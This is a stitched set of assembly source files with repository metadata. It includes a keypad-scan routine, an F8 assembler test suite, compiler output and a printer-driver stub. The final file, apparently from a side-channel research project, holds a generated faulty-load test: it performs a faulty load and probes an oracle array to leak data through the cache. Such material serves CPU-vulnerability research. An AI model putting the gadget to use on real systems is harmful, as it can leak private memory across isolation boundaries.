#ROWM ; STAA ROWS ;SET ROWS HIGH LDAA COLS ;CAPTURE PORT A ANDA #COLM ;MASK OUT ROWS CMPA #$00 ; BNE K1 ;IF COLUMS IS ZERO NO BUTTON PRESSED ;DO NOT MOVE ON UNTILL NO BUTTON IS PRESSED K2: ; JSR DELAY ;CALL 15mS DELAY LDAA COLS ; ANDA #COLM ; CMPA #$00 ;IF COLS !=0 THEN A BUTTON IS PRESSED BNE OVER ; BRA K2 ;IF NO BUTTON PRESSED KEEP CHECKING OVER: ; JSR DELAY ;DEBOUCE DELAY LDAA COLS ;READ PORT A ANDA #COLM ;MASK OUT ROWS CMPA #$00 ;CHECK FOR PRESS AFTER DEBOUNCE BNE OVER1 ;IF PRESSED GO FIND WHAT ROW BRA K2 ;IF NO PRESS AFTER DEBOUNCE GO BACK OVER1: ; LDAA #ROW0 ;MAKE HIGH ROW0 THE REST GROUNDED STAA ROWS ; MOVB #$08,PDELAY ;SET COUNT TO PROVIDE SHORT DELAY FOR STABILITY P1: ;AFTER CHANGING THE PORT A OUTPUT DEC PDELAY ;DECREMENT COUNT BNE P1 ;IF COUNT NOT ZERO KEEP DECREMENTING LDAA COLS ;READ PORTA ANDA #COLM ;MASK OUT ROWS CMPA #$00 ;IS INPUT ZERO? BNE R0 ;IF COLUMS NOT ZERO THEN BUTTON IS IN ROW 0 LDAA #ROW1 ;IF ZERO THEN BUTTON NOT IN ROW0 STAA ROWS ;TURN ON ROW 1 TURN OFF ALL OTHERS MOVB #$08,PDELAY ;SHORT DELAY TO STABALIZE P2: ;AFTER CHANGING THE PORT A OUTPUT DEC PDELAY ;DECREMENT COUNT BNE P2 ;IF COUNT NOT ZERO KEEP DECREMENTING LDAA COLS ;READ PORT A ANDA #COLM ;MASK OUT ROWS CMPA #$00 ;CHECK FOR KEY PRESS BNE R1 ;IF PRESSED KEY IS IN ROW1 LDAA #ROW2 ;IF ZERO BUTTON NOT IN ROW1 STAA ROWS ;TURN ON ROW2 ALL OTHERS OFF MOVB #$08,PDELAY ;SHORT DELAY TO STABALIZE PORTA P3: ; DEC PDELAY ;DECREMENT COUNT BNE P3 ;DELAY LOOP LDAA COLS ;READ PORTA ANDA #COLM ;MASK OUT ROWS CMPA #$00 ;CHECK FOR PRESS BNE R2 ;IF FOUND KEY IS IN ROW2 LDAA #ROW3 ;IF ZERO MOVE TO ROW3 STAA ROWS ;TURN ON ROW3 ALL OTHERS OFF MOVB #$08,PDELAY ;SHORT DELAY TO STABALIZE OUTPUT P4: ; DEC PDELAY ;DECREMENT DELAY BNE P4 ;DELAY LOOP LDAA COLS ;READ PORT A ANDA #COLM ;MASK OUT ROWS CMPA #$00 ;CHECK FOR PRESS BNE R3 ;IF FOUND KEY IN ROW3 BRA K2 ;IF ROW NOT FOUND GO BACK TO START R0: ; LDX #KCODE0 ;LOAD PONTER TO ROW0 ARRAY BRA FIND ;GO FIND COLUMN R1: ; LDX #KCODE1 ;LOAD POINTER TO ROW1 ARRAY BRA FIND ;GO FIND COUMN R2: ; LDX #KCODE2 ;LOAD PINTER TO ROW2 BRA FIND ;GO FIND COLUMN R3: ; LDX #KCODE3 ;LOAD POINTER TO ROW3 BRA FIND ;GO FIND COLUMN FIND: ; ANDA #COLM ;MASK OUT ROWS COMA ;INVERT COLUMN SHIFT: ; LSRA ;LOGICAL SHIFT RIGHT PORTA BCC MATCH ;IF CARY CLEAR COLUM IS FOUND INX ;IF CARY NOT CLEAR INCREMENT POINTER TO ROW ARRAY BRA SHIFT ;SHIFT RIGHT UNTIL CARY IS CLEAR. MATCH: ; LDAA 0,X JSR TRANS1 ;LOAD ASCII FROM ROW ARARAY LBRA K1 ;BACK TO START ;---------------------------------DELAY DELAY: ;DELAY SUBROUTINE LDAA #D15mH ;LOAD FIRST LAYER DELAY COUNT STAA DR15mH ; D2: ; LDAA #D15mL ;LOAD SECOND LAYER DELAY COUNT STAA DR15mL ; D1: ; DEC DR15mL ;DECREMENT SECOND LAYER COUNT NOP ;NOP DELAY NOP ; BNE D1 ;BACK TO START OF SECOND LAYER IF NOT ZERO DEC DR15mH ;IF SECOND LAYER ZERO DECREMENT FIRST LAYER BNE D2 ;IF FIRST LAYER NOT ZERO GO BACK RELOAD FRIST LAYER RTS ;RETURN TO FROM SUBROUTINE WEHN LAYER ONE IS ZERO TRANS1 HERE: BRCLR SCI1SR1, mSCI0SR1_TDRE, HERE STAA SCI1DRL RTS ;------------------------- ;************************************************************** ;* Interrupt Vectors * ;************************************************************** ;ORG $FFFE DC.W Entry ;Reset Vector. CPU wakes here and it is sent to start of the code at $4000
43.232877
117
0.423321
20ec95f2443d7397bcb584d5295554501f00ba32
163
asm
Assembly
sw/552tests/inst_tests/bnez_6.asm
JPShen-UWM/ThreadKraken
849c510531f28e36d3469535737b2120bd774935
[ "MIT" ]
1
2022-02-15T16:03:25.000Z
2022-02-15T16:03:25.000Z
sw/552tests/inst_tests/bnez_6.asm
JPShen-UWM/ThreadKraken
849c510531f28e36d3469535737b2120bd774935
[ "MIT" ]
null
null
null
sw/552tests/inst_tests/bnez_6.asm
JPShen-UWM/ThreadKraken
849c510531f28e36d3469535737b2120bd774935
[ "MIT" ]
null
null
null
// Original test: ./mshi/hw4/problem6/bnez_1.asm // Author: mshi // Test source code follows lbi r1, 1 bnez r1, .Label2 .Label1: lbi r2,0 .Label2: lbi r2,1 halt
12.538462
48
0.693252
0e7a76fa62061ca2e3351df954e7e3992f13c32d
9,539
asm
Assembly
dasm/src/test/suitef8.asm
zeh/dasmjs
8af59ccbba4fd1f4c9404e6078dca6770e0b251b
[ "Naumen", "Condor-1.1", "MS-PL" ]
16
2017-01-08T18:10:59.000Z
2021-02-16T17:46:35.000Z
dasm/src/test/suitef8.asm
paul80nd/dasmjs
3530f5cfd0761a83bb4d2cb5ae0612fef44b9291
[ "Naumen", "Condor-1.1", "MS-PL" ]
null
null
null
dasm/src/test/suitef8.asm
paul80nd/dasmjs
3530f5cfd0761a83bb4d2cb5ae0612fef44b9291
[ "Naumen", "Condor-1.1", "MS-PL" ]
4
2019-08-17T21:03:29.000Z
2020-12-04T14:48:13.000Z
; Fairchild F8 test suite for DASM ; 2004 by Thomas Mathys processor f8 TWO = 2 org 0 start adc ; 8e ai $f8 ; 24 f8 am ; 88 amd ; 89 as start ; c0 as start+1 ; c1 as TWO ; c2 as 3 ; c3 as 4 ; c4 as 5 ; c5 as 2*[1+2] ; c6 as 7 ; c7 as (2+2)*2 ; c8 as 9 ; c9 as j ; c9 as $a ; ca as hu ; ca as 11 ; cb as hl ; cb as s ; cc as (is) ; cc as i ; cd as (is)+ ; cd as d ; ce as (is)- ; ce asd start ; d0 asd start+1 ; d1 asd TWO ; d2 asd 3 ; d3 asd 4 ; d4 asd 5 ; d5 asd 2*[1+2] ; d6 asd 7 ; d7 asd (2+2)*2 ; d8 asd 9 ; d9 asd j ; d9 asd $a ; da asd hu ; da asd 11 ; db asd hl ; db asd s ; dc asd (is) ; dc asd i ; dd asd (is)+ ; dd asd d ; de asd (is)- ; de bc . ; 82 ff bf 12,. ; 9c ff bm . ; 91 ff bnc . ; 92 ff bno . ; 98 ff bnz . ; 94 ff bp . ; 81 ff br . ; 90 ff br7 . ; 8f ff bt 5,. ; 85 ff bz . ; 84 ff ci 4096/64-1 ; 25 3f clr ; 70 cm ; 8d com ; 18 dci TWO ; 2a 00 02 dci $1234 ; 2a 12 34 di ; 1a ds start ; 30 ds start+1 ; 31 ds TWO ; 32 ds 3 ; 33 ds 4 ; 34 ds 5 ; 35 ds 2*[1+2] ; 36 ds 7 ; 37 ds (2+2)*2 ; 38 ds 9 ; 39 ds j ; 39 ds $a ; 3a ds hu ; 3a ds 11 ; 3b ds hl ; 3b ds s ; 3c ds (is) ; 3c ds i ; 3d ds (is)+ ; 3d ds d ; 3e ds (is)- ; 3e ei ; 1b in TWO ; 26 02 in 16*16-1 ; 26 ff inc ; 1f ins 5*3-15 ; a0 ins 15+start ; af jmp $1234 ; 29 12 34 li TWO ; 20 02 lis %111 ; 77 lisl (TWO+TWO)*TWO-1 ; 6f lisu 4 ; 64 lm ; 16 lnk ; 19 lr start,a ; 50 lr start+1,a ; 51 lr TWO,a ; 52 lr 3,a ; 53 lr 4,a ; 54 lr 5,a ; 55 lr 2*[1+2],a ; 56 lr 7,a ; 57 lr (2+2)*2,a ; 58 lr 9,a ; 59 lr j,a ; 59 lr $a,a ; 5a lr hu,a ; 5a lr 11,a ; 5b lr hl,a ; 5b lr s,a ; 5c lr (is),a ; 5c lr i,a ; 5d lr (is)+,a ; 5d lr d,a ; 5e lr (is)-,a ; 5e lr a,start ; 40 lr a,start+1 ; 41 lr a,TWO ; 42 lr a,3 ; 43 lr a,4 ; 44 lr a,5 ; 45 lr a,2*[1+2] ; 46 lr a,7 ; 47 lr a,(2+2)*2 ; 48 lr a,9 ; 49 lr a,j ; 49 lr a,$a ; 4a lr a,hu ; 4a lr a,11 ; 4b lr a,hl ; 4b lr a,s ; 4c lr a,(is) ; 4c lr a,i ; 4d lr a,(is)+ ; 4d lr a,d ; 4e lr a,(is)- ; 4e lr a,ku ; 00 lr a,kl ; 01 lr a,qu ; 02 lr a,ql ; 03 lr ku,a ; 04 lr kl,a ; 05 lr qu,a ; 06 lr ql,a ; 07 lr h,dc0 ; 11 lr h,dc ; 11 lr q,dc0 ; 0e lr q,dc ; 0e lr dc0,h ; 10 lr dc,h ; 10 lr dc0,q ; 0f lr dc,q ; 0f lr k,pc1 ; 08 lr k,p ; 08 lr pc1,k ; 09 lr p,k ; 09 lr pc0,q ; 0d lr p0,q ; 0d lr a,is ; 0a lr is,a ; 0b lr w,j ; 1d lr w,(TWO+1)*3 ; 1d lr 9,w ; 1e lr j,w ; 1e ni %10000001 ; 21 81 nm ; 8a nop ; 2b ns start ; f0 ns start+1 ; f1 ns TWO ; f2 ns 3 ; f3 ns 4 ; f4 ns 5 ; f5 ns 2*[1+2] ; f6 ns 7 ; f7 ns (2+2)*2 ; f8 ns 9 ; f9 ns j ; f9 ns $a ; fa ns hu ; fa ns 11 ; fb ns hl ; fb ns s ; fc ns (is) ; fc ns i ; fd ns (is)+ ; fd ns d ; fe ns (is)- ; fe oi (TWO+start)*64 ; 22 80 om ; 8b out TWO ; 27 02 out 16*16-1 ; 27 ff outs 5*3-15 ; b0 outs 15+start ; bf pi start ; 28 00 00 pi $1234 ; 28 12 34 pk ; 0c pop ; 1c sl start+1 ; 13 sl TWO+TWO ; 15 sr 1 ; 12 sr 3+1 ; 14 st ; 17 xdc ; 2c xi 64 ; 23 40 xm ; 8c xs start ; e0 xs start+1 ; e1 xs TWO ; e2 xs 3 ; e3 xs 4 ; e4 xs 5 ; e5 xs 2*[1+2] ; e6 xs 7 ; e7 xs (2+2)*2 ; e8 xs 9 ; e9 xs j ; e9 xs $a ; ea xs hu ; ea xs 11 ; ab xs hl ; eb xs s ; ec xs (is) ; ec xs i ; ed xs (is)+ ; ed xs d ; ee xs (is)- ; ee xs 12 ; ec xs 13 ; ed xs 14 ; ee dc.b 0 ; 00 dc.w $1234 ; 12 34 dc.l $deadbeef ; de ad be ef db 0 ; 00 dw $1234 ; 12 34 dd $deadbeef ; de ad be ef byte 0 ; 00 word $1234 ; 12 34 long $deadbeef ; de ad be ef .byte 0 ; 00 .word $1234 ; 12 34 .long $deadbeef ; de ad be ef res.b 4, $33 ; 33 33 33 33 res.w 2, $1234 ; 12 34 12 34 res.l 2, $deadbeef ; de ad be ef de ad be ef
34.067857
57
0.196876
89536a9512b7931c8e2d8c800709a0dd7bcd6a00
1,122
asm
Assembly
non_regression/comm_x86_linux.mingw.s.asm
LRGH/plasmasm
4cd50546c3dc895763d72dd60b7c46179c1916bc
[ "Apache-2.0" ]
1
2021-02-28T21:31:18.000Z
2021-02-28T21:31:18.000Z
non_regression/comm_x86_linux.mingw.s.asm
LRGH/plasmasm
4cd50546c3dc895763d72dd60b7c46179c1916bc
[ "Apache-2.0" ]
null
null
null
non_regression/comm_x86_linux.mingw.s.asm
LRGH/plasmasm
4cd50546c3dc895763d72dd60b7c46179c1916bc
[ "Apache-2.0" ]
null
null
null
.file "a10.c" .intel_syntax .lcomm s.0,16 # ---------------------- .text .def _main; .scl 2; .type 32; .endef _main: push ebp mov ebp, esp sub esp, 88 and esp, -16 mov eax, 0 add eax, 15 add eax, 15 shr eax, 4 sal eax, 4 mov DWORD PTR [ebp-76], eax mov eax, DWORD PTR [ebp-76] call __alloca call ___main movsx edx, BYTE PTR [ebp-9] movsx eax, WORD PTR s.0 lea eax, [edx+eax] add eax, DWORD PTR [ebp-16] cdq add eax, DWORD PTR [ebp-24] adc edx, DWORD PTR [ebp-20] push edx push eax fild QWORD PTR [esp] lea esp, [esp+8] fadd DWORD PTR [ebp-28] fadd QWORD PTR [ebp-40] fld TBYTE PTR [ebp-56] faddp st(1), st fnstcw WORD PTR [ebp-58] movzx eax, WORD PTR [ebp-58] or ax, 3072 mov WORD PTR [ebp-60], ax fldcw WORD PTR [ebp-60] fistp DWORD PTR [ebp-64] fldcw WORD PTR [ebp-58] mov eax, DWORD PTR [ebp-64] leave ret # ---------------------- .def ___main; .scl 2; .type 32; .endef
23.375
39
0.503565
97f7ac251eb145f8663faa5917a3a2a9d43ef537
1,961
asm
Assembly
Driver/Printer/PrintCom/Cursor/cursorSetCursorAbsRedwood.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
504
2018-11-18T03:35:53.000Z
2022-03-29T01:02:51.000Z
Driver/Printer/PrintCom/Cursor/cursorSetCursorAbsRedwood.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
96
2018-11-19T21:06:50.000Z
2022-03-06T10:26:48.000Z
Driver/Printer/PrintCom/Cursor/cursorSetCursorAbsRedwood.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
73
2018-11-19T20:46:53.000Z
2022-03-29T00:59:26.000Z
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) Berkeley Softworks 1993 -- All Rights Reserved PROJECT: PC GEOS MODULE: print drivers FILE: cursorSetCursorAbsRedwood.asm AUTHOR: Dave Durran ROUTINES: Name Description ---- ----------- REVISION HISTORY: Name Date Description ---- ---- ----------- Dave 2/9/93 Initial revision DESCRIPTION: The cursor position is kept in 2 words: integer 360ths in Y and integer 360ths in X $Id: cursorSetCursorAbsRedwood.asm,v 1.1 97/04/18 11:49:47 newdeal Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% PrintSetCursor %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: sets the new cursor position in the PSTATE and moves the printhead to the new position. The resolution for positioning the printhead is based on the current character pitch, as the routine uses tabs to position the printhead in the X direction. The printhead can be moved in either direction in X, but only down the page (increasing Y). CALLED BY: EXTERNAL PASS: bp - Segment of PSTATE cx.si - WWFixed new X position in points dx.ax - WWFixed new Y position in points RETURN: carry - set if some communications problem DESTROYED: PSEUDO CODE/STRATEGY: 1 if desired position is below the current one, do y positioning 2 do X positioning KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- Dave 2/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ PrintSetCursor proc far uses si,es .enter mov es,bp ;get PSTATE segment. call PrintMoveInYOnly call PrintMoveInXOnly exit: .leave ret PrintSetCursor endp
22.284091
79
0.556349
b29ab69ac58f85e6b75dfe8a9b1a1faf24918848
259
asm
Assembly
basic/07.print_string.asm
boa9448/assembly_study
8416d10b3abce6c3b4b8bd0a11be7d9a05ea486a
[ "MIT" ]
null
null
null
basic/07.print_string.asm
boa9448/assembly_study
8416d10b3abce6c3b4b8bd0a11be7d9a05ea486a
[ "MIT" ]
null
null
null
basic/07.print_string.asm
boa9448/assembly_study
8416d10b3abce6c3b4b8bd0a11be7d9a05ea486a
[ "MIT" ]
null
null
null
%include "io64.inc" section .text global CMAIN CMAIN: ;write your code here ;PRINT_STRING param ;param : 출력할 곳의 주소 ;문자열의 종료는 0x00으로 마무리해야한다 PRINT_STRING a xor rax, rax ret section .data a db "hello world!", 0x00
15.235294
29
0.617761
e48a585a4a1187df645f9f932123d64672c2cc83
454
asm
Assembly
programs/oeis/044/A044504.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/044/A044504.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/044/A044504.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A044504: Numbers n such that string 3,3 occurs in the base 6 representation of n but not of n+1. ; 21,57,93,131,165,201,237,273,309,347,381,417,453,489,525,563,597,633,669,705,741,791,813,849,885,921,957,995,1029,1065,1101,1137,1173,1211,1245,1281,1317,1353,1389,1427,1461,1497,1533,1569,1605,1643,1677,1713 mov $2,$0 mov $3,$0 add $0,3 gcd $0,6 lpb $0 div $0,2 sub $0,4 gcd $3,7 mov $1,$3 lpe mul $1,2 add $1,21 mov $4,$2 mul $4,36 add $1,$4
23.894737
210
0.680617
4db83f082cc68858ef51fb55ae3aa9e8b4c9d223
2,967
asm
Assembly
autovectorization-tests/results/msvc19.28.29333-avx2/find_if.asm
clayne/toys
ec06411e2d3b920403607888d4a573e41390ee5b
[ "BSD-2-Clause" ]
null
null
null
autovectorization-tests/results/msvc19.28.29333-avx2/find_if.asm
clayne/toys
ec06411e2d3b920403607888d4a573e41390ee5b
[ "BSD-2-Clause" ]
null
null
null
autovectorization-tests/results/msvc19.28.29333-avx2/find_if.asm
clayne/toys
ec06411e2d3b920403607888d4a573e41390ee5b
[ "BSD-2-Clause" ]
null
null
null
_x$ = 8 ; size = 4 bool <lambda_355cd7df3805993a6b4ad7ec46ef2f3e>::operator()(int)const PROC ; <lambda_355cd7df3805993a6b4ad7ec46ef2f3e>::operator(), COMDAT mov eax, DWORD PTR _x$[esp-4] cmp eax, 42 ; 0000002aH je SHORT $LN3@operator cmp eax, -1 je SHORT $LN3@operator xor al, al ret 4 $LN3@operator: mov al, 1 ret 4 bool <lambda_355cd7df3805993a6b4ad7ec46ef2f3e>::operator()(int)const ENDP ; <lambda_355cd7df3805993a6b4ad7ec46ef2f3e>::operator() _x$ = 8 ; size = 4 bool <lambda_4519141becf259366061de28318bbd69>::operator()(int)const PROC ; <lambda_4519141becf259366061de28318bbd69>::operator(), COMDAT mov eax, DWORD PTR _x$[esp-4] cmp eax, 42 ; 0000002aH je SHORT $LN3@operator cmp eax, -1 je SHORT $LN3@operator xor al, al ret 4 $LN3@operator: mov al, 1 ret 4 bool <lambda_4519141becf259366061de28318bbd69>::operator()(int)const ENDP ; <lambda_4519141becf259366061de28318bbd69>::operator() _v$ = 8 ; size = 4 bool find_if_epi32(std::vector<int,std::allocator<int> > const &) PROC ; find_if_epi32, COMDAT mov ecx, DWORD PTR _v$[esp-4] mov eax, DWORD PTR [ecx+4] mov ecx, DWORD PTR [ecx] cmp ecx, eax je SHORT $LN36@find_if_ep npad 3 $LL18@find_if_ep: mov edx, DWORD PTR [ecx] cmp edx, 42 ; 0000002aH je SHORT $LN23@find_if_ep cmp edx, -1 je SHORT $LN23@find_if_ep add ecx, 4 cmp ecx, eax jne SHORT $LL18@find_if_ep $LN23@find_if_ep: cmp ecx, eax $LN36@find_if_ep: setne al ret 0 bool find_if_epi32(std::vector<int,std::allocator<int> > const &) ENDP ; find_if_epi32 _v$ = 8 ; size = 4 bool find_if_epi8(std::vector<signed char,std::allocator<signed char> > const &) PROC ; find_if_epi8, COMDAT mov ecx, DWORD PTR _v$[esp-4] mov eax, DWORD PTR [ecx+4] mov ecx, DWORD PTR [ecx] cmp ecx, eax je SHORT $LN36@find_if_ep npad 3 $LL18@find_if_ep: movsx edx, BYTE PTR [ecx] cmp edx, 42 ; 0000002aH je SHORT $LN23@find_if_ep cmp edx, -1 je SHORT $LN23@find_if_ep inc ecx cmp ecx, eax jne SHORT $LL18@find_if_ep $LN23@find_if_ep: cmp ecx, eax $LN36@find_if_ep: setne al ret 0 bool find_if_epi8(std::vector<signed char,std::allocator<signed char> > const &) ENDP ; find_if_epi8
39.039474
138
0.523761
4c1251b5ac77436797349b35763fd81cf81832ca
7,526
asm
Assembly
Transynther/x86/_processed/AVXALIGN/_st_/i7-7700_9_0xca_notsx.log_21829_226.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/AVXALIGN/_st_/i7-7700_9_0xca_notsx.log_21829_226.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/AVXALIGN/_st_/i7-7700_9_0xca_notsx.log_21829_226.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r13 push %rax push %rbp push %rbx push %rcx push %rdi push %rsi lea addresses_WT_ht+0xdca5, %rbp nop nop nop nop add %rax, %rax vmovups (%rbp), %ymm1 vextracti128 $1, %ymm1, %xmm1 vpextrq $1, %xmm1, %rbx nop nop cmp %rsi, %rsi lea addresses_WC_ht+0x1e725, %rsi lea addresses_A_ht+0x1819e, %rdi clflush (%rsi) nop nop nop nop add %r13, %r13 mov $74, %rcx rep movsl nop nop nop nop nop add $10665, %r13 lea addresses_normal_ht+0x112a5, %rsi lea addresses_UC_ht+0x1a2a5, %rdi nop nop nop nop nop sub %r11, %r11 mov $109, %rcx rep movsl nop nop nop nop nop sub %rbp, %rbp lea addresses_UC_ht+0x79a5, %r11 nop nop nop nop nop xor %rdi, %rdi mov (%r11), %rax nop nop nop nop sub $50153, %rdi lea addresses_A_ht+0x193a5, %rbp nop nop nop nop nop cmp $37473, %rbx movw $0x6162, (%rbp) and $10154, %rbp lea addresses_WC_ht+0x49a5, %rbx nop nop nop nop nop and $41086, %rax movw $0x6162, (%rbx) nop nop nop and %rbp, %rbp lea addresses_UC_ht+0x1b4e9, %rsi lea addresses_normal_ht+0x1dd5d, %rdi nop nop nop xor $39480, %r13 mov $15, %rcx rep movsl nop nop nop inc %rdi lea addresses_UC_ht+0x82a5, %rsi lea addresses_WT_ht+0x7a65, %rdi nop nop add $61142, %rbx mov $27, %rcx rep movsw nop nop nop nop nop xor %r11, %r11 lea addresses_WT_ht+0x1aea5, %rsi lea addresses_WC_ht+0xb1ab, %rdi nop and %r13, %r13 mov $63, %rcx rep movsb nop add %rbp, %rbp lea addresses_D_ht+0x12aa5, %rbx clflush (%rbx) nop add $63666, %r11 mov $0x6162636465666768, %rdi movq %rdi, %xmm1 movups %xmm1, (%rbx) nop nop nop nop nop xor $33657, %r11 pop %rsi pop %rdi pop %rcx pop %rbx pop %rbp pop %rax pop %r13 pop %r11 ret .global s_faulty_load s_faulty_load: push %r15 push %r8 push %r9 push %rbp push %rbx push %rcx push %rdi push %rsi // Load lea addresses_WC+0x1bbed, %rsi nop nop add %rcx, %rcx movups (%rsi), %xmm1 vpextrq $1, %xmm1, %rbp nop nop add $12951, %rbp // Store lea addresses_RW+0x1a191, %rbx nop nop nop nop nop xor $5973, %r15 mov $0x5152535455565758, %r9 movq %r9, %xmm3 vmovaps %ymm3, (%rbx) sub $12832, %r9 // REPMOV lea addresses_D+0x1eaa5, %rsi lea addresses_RW+0xb0a5, %rdi nop nop nop sub $49915, %r15 mov $1, %rcx rep movsl cmp $14196, %r15 // Faulty Load lea addresses_D+0x1eaa5, %r8 nop nop nop nop and $37377, %rcx mov (%r8), %esi lea oracles, %r8 and $0xff, %rsi shlq $12, %rsi mov (%r8,%rsi,1), %rsi pop %rsi pop %rdi pop %rcx pop %rbx pop %rbp pop %r9 pop %r8 pop %r15 ret /* <gen_faulty_load> [REF] {'src': {'NT': True, 'AVXalign': False, 'size': 16, 'congruent': 0, 'same': False, 'type': 'addresses_D'}, 'OP': 'LOAD'} {'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 1, 'same': False, 'type': 'addresses_WC'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': True, 'size': 32, 'congruent': 0, 'same': False, 'type': 'addresses_RW'}, 'OP': 'STOR'} {'src': {'congruent': 0, 'same': True, 'type': 'addresses_D'}, 'dst': {'congruent': 9, 'same': False, 'type': 'addresses_RW'}, 'OP': 'REPM'} [Faulty Load] {'src': {'NT': True, 'AVXalign': False, 'size': 4, 'congruent': 0, 'same': True, 'type': 'addresses_D'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 7, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 7, 'same': False, 'type': 'addresses_WC_ht'}, 'dst': {'congruent': 0, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'REPM'} {'src': {'congruent': 10, 'same': False, 'type': 'addresses_normal_ht'}, 'dst': {'congruent': 11, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM'} {'src': {'NT': True, 'AVXalign': False, 'size': 8, 'congruent': 8, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 8, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 8, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'STOR'} {'src': {'congruent': 0, 'same': False, 'type': 'addresses_UC_ht'}, 'dst': {'congruent': 3, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM'} {'src': {'congruent': 10, 'same': False, 'type': 'addresses_UC_ht'}, 'dst': {'congruent': 6, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM'} {'src': {'congruent': 1, 'same': False, 'type': 'addresses_WT_ht'}, 'dst': {'congruent': 1, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM'} {'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 11, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'STOR'} {'36': 21829} 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 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36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 